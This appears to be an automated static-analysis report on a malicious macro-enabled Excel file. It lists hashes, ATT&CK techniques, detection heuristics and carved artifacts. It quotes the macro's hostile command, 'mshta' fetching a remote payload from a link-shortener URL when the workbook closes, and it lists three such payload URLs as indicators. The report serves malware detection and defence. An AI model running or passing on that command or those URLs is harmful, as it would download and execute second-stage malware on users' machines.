Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 038214d4fc146d3a…

MALICIOUS

Office (OOXML) / .XLSX

15.6 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000
MD5: bb37e1592a9611dc521167ac5a2034a2 SHA-1: a9a1e60803fcb5a0b68659195ce5d0c15455646b SHA-256: 038214d4fc146d3a0b09db57ab584e3cef198a466d82206a03af0ca6aff4ac2e
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains VBA macros that are triggered upon closing the workbook. The Workbook_BeforeClose subroutine calls Shell to execute a function named 'hol.pop'. The 'hol' module contains a function 'lol' which returns the string 'mshta http://www.j.mp/jaosdoaskdaosd'. This indicates the macro attempts to download and execute a second-stage payload using mshta. The presence of LOLBin references and the execution of external URLs strongly suggest a malicious intent to download and run further malicious code.

Heuristics 5

  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.j.mp/asdjaosdkasdkddd
    • http://www.j.mp/jaosdoaskdaosd
    • http://www.j.mp/jasidjalsdjlijlijasd

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
c418081c7006785adbeb81ff8c08c45b74ad75c0868b1573d0f7046216a12329		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1714 bytes
vbaProject_00.bin
b8683742a69dc0a7708a5b69048859c78fcd6c45b33ba2cc735675a6bff519f0		 vba-project OOXML VBA project: xl/vbaProject.bin 21504 bytes

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